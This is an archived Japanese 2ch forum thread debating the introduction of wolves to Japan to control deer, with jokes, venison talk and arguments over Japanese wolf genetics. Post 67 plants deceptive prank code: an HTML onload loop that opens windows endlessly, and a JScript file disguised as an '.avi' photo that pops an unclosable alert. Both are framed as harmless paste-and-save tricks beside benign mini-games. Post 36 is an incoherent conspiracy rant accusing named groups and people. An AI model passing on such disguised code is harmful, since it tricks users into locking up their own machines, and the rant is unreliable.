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オオカミ導入による生態系復元


1 :2011/06/11 〜 最終レス :2018/05/17
克服すべき問題は多々あり、決して平坦な道ではないだろうし
それが全否定される可能性もあり得る
ここでは、導入に際しての事前活動、実際の導入に際しての問題点
そして導入後の観察と事故補償体制
それらを、生態系全体のバランスを背景に考えていくスレとしたい
*大人なら論を叩いても論者を叩かない
*悔しくても泣かない
*遠吠えは控えめに

2 :
わんこずきなわたしがにげっと。

3 :
死人が出て終了

4 :
野生生物板でけちょんけちょんに論破されて
あちこちに避難しクソスレたてるオオカミ教信者

5 :
批判者をたたき
悔しくてなき
遠吠えしまくって
その挙句の逃亡先がここですね

6 :
狼は普通に人を食べるからね
ただ、どこかで実施してるのはテレビで見たよ

7 :
>>6
流石に日常的に「普通に」人間を捕食するオオカミってのはあまりいないんじゃないか?

8 :
普通に人を食う狼を導入して人減らしかー

9 :
そうなんだ、普通に人を食うイメージがあったよ
赤ずきんちゃんとか、噛まずに丸呑みじゃん
普段はラーメンでも食ってるのかな とかね。

10 :
話の元はシカが増えすぎた、だからな。狩猟区に設定して弓でも槍でも刀でも好き
なもの使える様にすればいい。捕れた肉はなべ用や骨付き肉の燻製にでもして通
販すれば。土産屋に置いてもいい。

11 :
>>9
ラーメンは丸呑みしないだろ。
噛まずに丸呑みするのは蕎麦だ。

12 :
結局は狼に直接聞くしか無いよね
人間が食べたいのかラーメンなのか蕎麦なのか
もしかするとシカが食べたいのかもしれないし。

13 :
「人を食った話」になってるな

14 :
Clone技術で日本狼を復活させるに一票!
そのかわり、國民に自衞銃の所持を解禁すべきだが。

15 :
「人を撃った話」になるわけだな

16 :
>>10
捕った鹿肉でオオカミを飼えばいいじゃん。
狼信者は「オオカミ牧場」でも作って狼詣でしてればいい。

17 :
>>12
>結局は狼に直接聞くしか無いよね
バウリンガルの次はハウリンガルか

18 :
欧米には沢山オオカミがいるからな

19 :
ここは逆の発想をしてみてはどうだろうか?
シカが問題なのなら、シカを改良してしまえばよいのです。
シカを捕獲し、食用牛のような美味で動きが鈍い品種を作り出してしまうのです。
そして野外へどんどん放していく一方、
素早く、肉にくせのある従来型のシカは狩猟によって気長に根絶していけばよいのです。
世代を経たのちには、野生のシカはもはや、食用のシカと置き換わっているであろう。
つまり、シカそのものを、人間の手に負える存在に改良すればよいのでは?ってことです。
こっちなら、オオカミ自体が存在しないから、
オオカミを復活させる際にリスクとなる家畜の食害、人への被害も防げると思いますがいかがでしょうか?

20 :
北海道で野生の鹿肉食べたが、旨かった。
脂身が無く癖も臭みも無く、上品な肉の旨みって感じだな。
俺的には、野生そのままでも、高級霜降り和牛の2倍の価格でも飛ぶように売れると思う

21 :
ニュージーランドでは鹿肉は牛、羊に並ぶ普通のメニュー。
鹿牧場もたくさんある。

22 :
宮城の田舎で、鹿の牛舎(鹿舎?)を見た。
鹿肉のため約30頭?いたが今もあるかぁ

23 :
雲仙岳で鹿の放牧(角は滋養強壮健康食品。食肉と観光)
http://www.daihanjo.jp/kigyo-15-deer.html

24 :
>>1
いくら慌ててこの板に避難してきたにしろ、なんでオオカミ導入が生態系復元につながるのか?は
説明しておく必要があるだろ。
全員野生動物板も見てるわけでもないし、野生動物いたのオオカミ導入スレを見ていたわけでも
ないんだから。
いきなり「オオカミ導入による生態系復元」といわれてもポカーンとするだけだわな。

25 :
?

26 :
食物連鎖の頂点が今の日本の陸の部にいないって事か。
サメに脚つけたらどうだろうか?
何となくティラノサウルスに似た形状になるから話題性もある

27 :
>>19
改良シカ、旨いかも。害虫駆除的に繁殖力無い奴を大量に放すのも有りよね。

28 :
つか、オオカミが絶滅してはy一世紀、導入したところでハブとマングース的オチになると予想
生態系なんて人間の手におえるようなシンプルなものじゃないんだよ

29 :
>>28
元来オオカミは悪食だからな。

30 :
野生の狼は日本に導入するには大きすぎる
小型犬と掛け合わせて、小さな狼に品種改良してからにするべきだろう
トナカイを狩るんじゃなく、日本の鹿などを狩れれば良いんだから、半分以下の大きさでも十分だ
もっとも品種改良まで考えると、ニホンザルに狩りを教えてた方が早そうではあるがな
魚を食うように食生活を変えさせる事ができてるし

31 :
>>30
じゃあチワワと掛け合せればいい。

32 :
どうせならトラとかいままで無かった奴にしようよ
人が食われてもいかにも野生が復活した人間も自然の一部なんだって感じが出ていいじゃん
もちろん俺はそんなとこ住まないけど

33 :
パンダ、ゴリラ、ライオン。なんでもやってみればいいんだよ。

34 :
かわいいお(*^ω^)
http://www.youtube.com/watch?v=iagI4hFTqRM&feature=related

35 :
>>30
>ニホンザルに狩りを教えて
オオカミより危険じゃねw
放すならマメ柴でいい。効果は知らん。

36 :
電波テロ装置の戦争(始)
魂は幾何学、コピー出来る公安はサリンオウム信者の子供を40歳まで社会から隔離している
オウム信者が地方で現在も潜伏している
それは新興宗教を配下としている公安の仕事だ
発案で盗聴器を開発したら霊魂が寄って呼ぶ来た
<電波憑依>
スピリチャル全否定なら江原三輪氏、高橋佳子大川隆法氏は、幻聴で強制入院矛盾する日本宗教と精神科
<コードレス盗聴>
2004既に国民20%被害250〜700台数中国工作員3〜7000万円2005ソウルコピー2010ソウルイン医者アカギ絡む<盗聴証拠>
今年5月に日本の警視庁防課は被害者SDカード15分を保持した有る国民に出せ!!<創価幹部>
キタオカ1962年東北生は二十代で2人の女性をR殺害して入信した創価本尊はこれだけで潰せる<<<韓国工作員鸛<<<創価公明党 <テロ装置>>東芝部品)>>ヤクザ<宗教<同和<<公安<<魂複<<官憲>日本終Googl検索

37 :
男はオオカミなのよ気を付けなさい
という訳でマタギを大量導入

38 :
チンコの森を次々と狩って行くマタギだな
グロイがある意味爽快だな

39 :
二つとても素朴な疑問。
豹じゃダメなの?
なんで捨て犬が適者生存で進化して狼のニッチを埋めないの?
狼と遺伝子的にほとんど変わらんのも何千と捨てられてるだろうに。

40 :
>>39
豹は日本の生態系に明らかに存在しない動物だから。
鹿を襲う可能性が低いし、豹による他の在来動物の絶滅の恐れがある。
捨て犬は、犬、すでに品種改良された存在。遺伝的多様性が少ない。
オオカミのニッチを埋めるよう変化するには世代交代の数を多く要する。
犬から、鹿を狩るのに適した特徴を
持った個体を選択するという、品種改良を人間が行わなければならない。
どのような肉を嗜好するかもおそらく遺伝的要因。
シカ肉を様々な個体に与えて、シカ肉のみを最も嗜好する
個体を選択&繁殖させるべき。
ただし元となる犬種が何かにはこだわる必要は無いだろう。複数品種の交雑でも良い。
要するに、「鹿狩りだけに特化した新しい犬種」を作り出せばよい。
世界中の様々な犬種も、需要に合わせてそれぞれ作り出された歴史があるのだから。

41 :
>>40
そんなめんどくさいことせずともオオカミ放せばOK
習性上人間は襲わない、シカを主食、とまさにうってつけ。

42 :
さて、>>19(私)と>>30>>40(私)、
どちらの案が現実的だろうか?

43 :
>>41
>習性上人間は襲わない、シカを主食、とまさにうってつけ。
半島の人ですか?
息するように…

44 :
こんな果てしなくいた違いぎりぎりのスレで
「私の案のほうが優れてる!」
とか自慢されても・・・

45 :
>>43
オオカミ教会の偉い先生が言っていたから間違いない( ー`дー´)キリッ

46 :
>>40
甲斐犬まじオススメ

47 :
>>39,40
元々の日本の生態系には豹とまではいかないが
縄文時代まではヤマネコがいたようだね。
ヤマネコといっても大きさはいろいろだし
鹿を狩ったのかはわからないけど。

48 :
オオカミや犬を改良するなら
人を襲う危険の少ないネコ科の方が良い?
>>40みたいな問題点も出てきそうだけど

49 :
>>40
>オオカミのニッチを埋めるよう変化するには世代交代の数を多く要する。
北海道で野犬がシカ狩りしてるよ。

50 :
オオカミ導入されたら、狼鍋を作りたいんですけど、作り方を教えて〜
江戸時代には狼鍋があったらしいので、是非。

51 :
まさかのライオン投入

52 :
まずは東京に導入して東京ジャングルに

53 :
動物園の女性職員がオオカミに襲われ死亡 スウェーデン
2012.06.18 Mon posted at: 11:28 JST
http://www.cnn.co.jp/world/30007018.html
http://herrey.files.wordpress.com/2010/05/img_0649.jpg

54 :
関連スレ
日本へのオオカミ導入を考える
http://uni.2ch.sc/test/read.cgi/life/1309827827/l50
日本へのオオカミ導入10論会場
http://uni.2ch.sc/test/read.cgi/wild/1341547940/l50

55 :
55

56 :
【研究】ニホンオオカミの遺伝子抽出に成功、東大保存のはく製から
http://mimizun.com/log/2ch/newsplus/1043518852/

57 :
期待

58 :
大神

59 :
反対派は全然建設的な意見持ってこないな

60 :
喰え

61 :
大神

62 :
保守

63 :
プレデター導入による地球生態系復元

64 :
地球内生物のプレデターって
皮肉なことにルックス可愛いよな

65 :
プロレスラーのザ・プレデターもイケメンだし、

66 :
ほほ

67 :
以下のソースコードをメモ帳に貼り付けて、htmlで保存
<BODY Onload="var i=0;while(1){open('./',i++);}">
◆電波王の顔写真が公開されるプログラム◆
1.メモ帳に↓をコピペする
  for(;;){ WScript.Echo('このウィンドウは永久に消えません。m9(^Д^)プギャー'); }
2.ファイル名を↓で保存する
  電波王顔.avi .js
これだけでOK!
以下のソースコードをメモ帳に貼り付けて、htmlで保存すればテトリスが動きます。
<body onKeyDown=K=event.keyCode><script>X=[Z=[B=A=12]];h=e=K=t=P=0;function Y()
{C=[d=K-38];c=0;for(i=4;i--*K;K-13?c+=!Z[h+p+d]:c-=!Z[h+(C[i]=p*A-Math.round(p/
A)*145)])p=B[i];!t|c+4?c-4?0:h+=d:B=C;for(f=K=i=0;i<4;f+=Z[A+p])X[p=h+B[i++]]=1
if(e=!e){if(f|B){for(l=228;i--;)Z[h+B[i]]=k=1;for(B=[[-7,-20,6,17,-9,3,6][t=++t
%7]-4,0,1,t-6?-A:-1];l--;h=5)if(l%A)l-=l%A*!Z[l];else for(P+=k++,j=l+=A;--j>A;)
Z[j]=Z[j-A]}h+=A}for(i=S="";i<240;X[i]=Z[i]|=++i%A<2|i>228)i%A?0:S+="<br>",S+=X
[i]?"■":"_";document.body.innerHTML=S+P;Z[5]||setTimeout(Y,99-P)}Y()</script>
スロットやろうぜ!
<body onKeyDown=K=1><pre><script>R=7;D=document;function Y(){D.all(7).innerHTML
=P;if(K){R>>=1;if(!R){o=A[0]&amp;56;if(o-(A[1]&amp;56)||o-(A[2]&amp;56)){alert("残念");if(P
<5)return alert("END")}else alert(g=T[o/=8]),P+=g;P-=5;R=7}}for(K=i=0;i<9;C[i++
%3]/=8)j=A[i],C[i]=A[i]=R&amp;4>>i?j=j%(1<<27)*8|j>>27:j,D.all[9+i].innerHTML=S[C[i
%3]&amp;7];setTimeout(Y,99)}S="7□=○∴|¥$".split("");T=[100,5,10,15,20,30,P=
45,60];A=[0x16E29519,0x1DCC2E65,0x384CD988];C=[];a="<b></b><b></b><b></b>\n";D.
write(a,a,a,a);for(i=8;i--;K=0)D.write("\n\t",S[i]," ",T[i]);Y()</script>

68 :
それ系のぷよぷよもあるよね
<body onKeyDown=K=event.keyCode-38><script>function T(){h=100,B=Math.floor(Math
.random(l=8,p=-1)*16+4)}function Y(){for(S="",i=104;i--;i%8||(S+="<br>"))n=N[i]
,S+=n?~n?"<a style=color:#"+(249*n)+">●</a>":"■":"_";document.body.innerHTML
=S;N=[K-50?h-=M[h+l-K]|M[h-K]?0:K:M[h+p]?0:(x=p,p=-l,l=x)];for(K=0;++i<113;N[i]
=M[i]);N[h]=B>>2;N[h+l]=B%4+1;if(!(++e%10))if(h-=8,M[h]+M[h+l])for(M=N,T(f=0);f
=!f;){for(i=112;i--;g=C[i]=0);for(;g=!g;)for(i=0;i<103;i++)if(n=M[i+8],!M[i]&&n
)M[i]=n,M[i+8]=g=0;for(;i--;){n=c=0;for(E=[i];M[i]>0&n>=c;c++)for(j=4;j--;t>102
|C[t]|M[i]-M[t]||(C[t]=E[++n]=t))x=p,p=-l,l=x,t=E[c]+p;if(n>3)for(;n;)f=M[E[n--
]]=0}}M[100]||setTimeout(Y,49)}for(M=N=[C=[i=113]];--i;M[i-1]=i%8>1&i>7?0:-1);Y
(T(e=K=0));</script>

69 :
シカやイノシシがのこのこやってきたら「ごちそうだべー!!」て目の色変えてとっつかまえる、
そういうワイルドな農民が里山に減ってきたのが問題なのであって。

70 :
せやな
畑荒らしに来たイノシカを捕まえて食べたら良いな

71 :
そして、つかまえる役は誰がやるんだという
ネコの首に鈴付け話に…

72 :
捕獲マシーンだな

73 :
まぁ普通に捕獲マシーンを想定していたのだが、その場合被害に合わないためには畑の全面を丈夫な何かで囲わないといけないか

74 :
ソニーにアイボみたいなシカ捕獲用オオカミロボットを開発してもらえばいいおw

75 :


76 :
男はオオカミなのよ。1000までsage埋めお願いします!
http://toro.2ch.sc/test/read.cgi/break/1323723496/l50

77 :
.

78 :
導入しようと考えてるオオカミは、本来日本にいたニホンオオカミと違うのが大きな問題!
これが問題ない訳が無い!!

79 :
>>78
しかもそのニホンオオカミ、わずかながらまだ生き残ってる疑惑もあるんだぜ
某協会は、その可能性を徹底無視してるようだけど

80 :
80

81 :
ニホンオオカミ
http://uni.2ch.sc/test/read.cgi/wild/1370962011/
【生物】「これって、オオカミ?」 海外の秘境歩きで知られる早大探検部 ニホンオオカミ捜索に注力
http://anago.2ch.sc/test/read.cgi/femnewsplus/1381100377/
オオカミ導入論におけるニホンオオカミ
http://uni.2ch.sc/test/read.cgi/wild/1376647917/
外来オオカミ導入における問題と対策
http://uni.2ch.sc/test/read.cgi/wild/1377768423/
日本へのオオカミ導入を考える
http://uni.2ch.sc/test/read.cgi/life/1309827827/
日本ヘの外来オオカミ導入議論14
http://uni.2ch.sc/test/read.cgi/wild/1380021559/
日本へのオオカミ再導入を考える 15
http://uni.2ch.sc/test/read.cgi/wild/1383927574/
【age専用】狼導入の是非を問う【自演禁止】
http://uni.2ch.sc/test/read.cgi/wild/1380133473/
オオカミより強い犬っているの?
http://engawa.2ch.sc/test/read.cgi/dog/1231724894/
【海外】オオカミのニュース・民話・伝承【日本】
http://uni.2ch.sc/test/read.cgi/wild/1302443491/
オオカミやキツネを格好良い可愛いと思う人の数→
http://uni.2ch.sc/test/read.cgi/wild/1287925156/

82 :
この手のスレにはあのイカれたオヤジが暴れていますが、皆さん相手にしないで下さい。
…しかも彼はニホンオオカミに付いては全くの素人です。

83 :
試験的にやるとすれば北海道の知床辺りか。あと人口密度が低い道北の猿払辺り?あそこは牧場があるのか?
それと北海道の場合エゾオオカミだから、近い種ってシベリアのシンリンオオカミ?

人口密度が高い本州以南では厳しいか。
これは暴論を承知で言うけど、福島の進入禁止区域はどうだろう。
住民は、すぐには帰れないのと既に移転先で定着しているなどの理由で、除染が進み進入禁止が解除されても帰還を希望する人は少ないと聞く。
その間にも、あそこは既にイノシシなどが増えて動物の楽園の様になっているとも聞く。
ならばいっそ、国であの辺一帯の土地を買い上げてオオカミを再導入して、本来日本にあったであろう自然を再生する実験地にしたらどうだろう。
人的被害が心配なら金網などのフェンスで隔離して。
そうすれば放射能の風評被害が消えたころには、“日本古来の野生の姿”を売りにした観光資源にもなるかもしれない。
まぁこの案、暴論だけに下手すると被害者感情を逆なでにしたと猛反発を受けて逆効果になりかねないので表立っては言いにくいけど。
もしやるにしても相当に慎重な根回しが必要となるだろう。

84 :
日本は江戸時代にはすでに狼は珍獣扱いだったらしいよ。
だいたい、狼が出てくる日本の昔話ってあるっけ?

85 :
有名なのは日本各地に伝わる「送り狼」の話だね。
信仰面では三峰神社が有名。

86 :
そういえば、「マン・アフターマン」で生態系に空いた穴を埋めるべく、
遺伝子操作したヒトを野生に放流するってのがあったじゃん。
そんな感じでオオカミ人間を山に放とう。

87 :
Japは、ニホンオオカミを絶滅させたまま
USAは、一部地域で絶滅したり減少したアラスカオオカミやメキシコオオカミを、他の地域からの導入で復活させた

88 :
導入検討は、「外来オオカミ」だからな。
ニホンオオカミは、大陸のオオカミの系統の中かもしれないが
結局、遺伝的にも単系統で、大陸のとは違う。島嶼適応したのか、小型化など変化した集団。
エキノコックスがさらに増える危険があるし、狂犬病も当然危険。
さらに、例えば在来タヌキは、凶暴外来アライグマ+外来オオカミの両方から攻撃される。
日本は、猟師が高齢化して、オオカミの害に対処困難になる。
フランスでも、害獣オオカミの、政府による駆除がうまくいってない。
>【フランス】1930年代に一時絶滅したオオカミ 300頭余りに増え再び猛威[08/02]
>フランス国内で、オオカミによって殺される羊は年間6,000頭を超えており、

89 :
最近はドローン(無人ロボ)産業が急成長しているんだから、山中を猟銃を装備して
うろつくロボを導入したほうがコントロールしやすいんじゃないかな。

90 :
>>88
ニホンオオカミはタイリクオオカミの亜種だから
大陸種オオカミでも問題無いという導入派がいるが
遺伝的に見ればイエイヌもタイリクオオカミ亜種にすぎんからな。
人畜を殺傷しうる大型肉食獣を生物農薬の如き扱いで導入することは危険極まりないこと。
導入論者は具体的に人畜に害をなさずなおかつ効果的に害獣駆除できる適正導入数を
科学的根拠を添えて提示することも出来ずその頭数管理もオオカミ任せというだけ。
世界でも極度に銃砲所持率の低い日本では不可能だろうな。

91 :
ヲチ板に立てました
オオカミ、シカ害スレに現れる深夜のオオカミ導入キチガイ
http://awabi.2ch.sc/test/read.cgi/net/1408518171/

92 :
この板的には
『ニホンオオカミ再生による生態系復元』だろ
ニホンオオカミの血を引く犬種の交配を重ねてニホンオオカミの形質を再現するか
各地に残る日本オオカミの毛皮や骨からDNA抽出、ゲノム解析で遺伝子の全容を解明して
ニホンオオカミの遺伝子を再現するとか

93 :
江戸時代で狼はすでに珍獣扱いだったってことから、近年のイノシシやシカの
増殖の原因は別にあるんじゃないか。
むしろ天敵として激減したのは、マタギの存在ではないか。

94 :
>>93
そういうこと。
オオカミを導入すればシカ害が無くなるかのように言いふらし
外来オオカミ導入に対する社会的賛同を得ようとするのは詐欺師に等しい行為。
昨今のイノシシやシカの個体数増加の主要な原因は狩猟圧の減少。
時系列で見てもはっきりしている。

95 :
>>69
今は家畜の肉が安すぎるのが問題なんだよ
家畜肉に課税して、野生肉は無課税にして、課税した税金の使い道として猟師支援に限定すりゃ、
野生肉の価格競争力も回復して、猟師も増える

96 :
【諏訪市】鹿の増加を抑制する為にオオカミを導入しよう-霧ヶ峰で語る会
http://daily.2ch.sc/test/read.cgi/newsplus/1412177368/

97 :
>>92
ニホンオオカミ、固有種ではない 岐阜大が遺伝子解析
ttp://www.asahi.com/articles/ASG923QRGG92ULBJ00B.html

98 :
>>97
そこの主題の論文良く読めバカ

99 :
>>98
何に切れてるのかわからぬ
ゲノム解析は終わってるよってことが言いたいだけだが

100 :
>>99
>ゲノム解析は終わってるよってことが言いたい
終わってねーよw
ミトコンドリアDNAの指標の系統を調べただけだ
細胞核DNAの解析して全解明させた訳じゃないんだぞ


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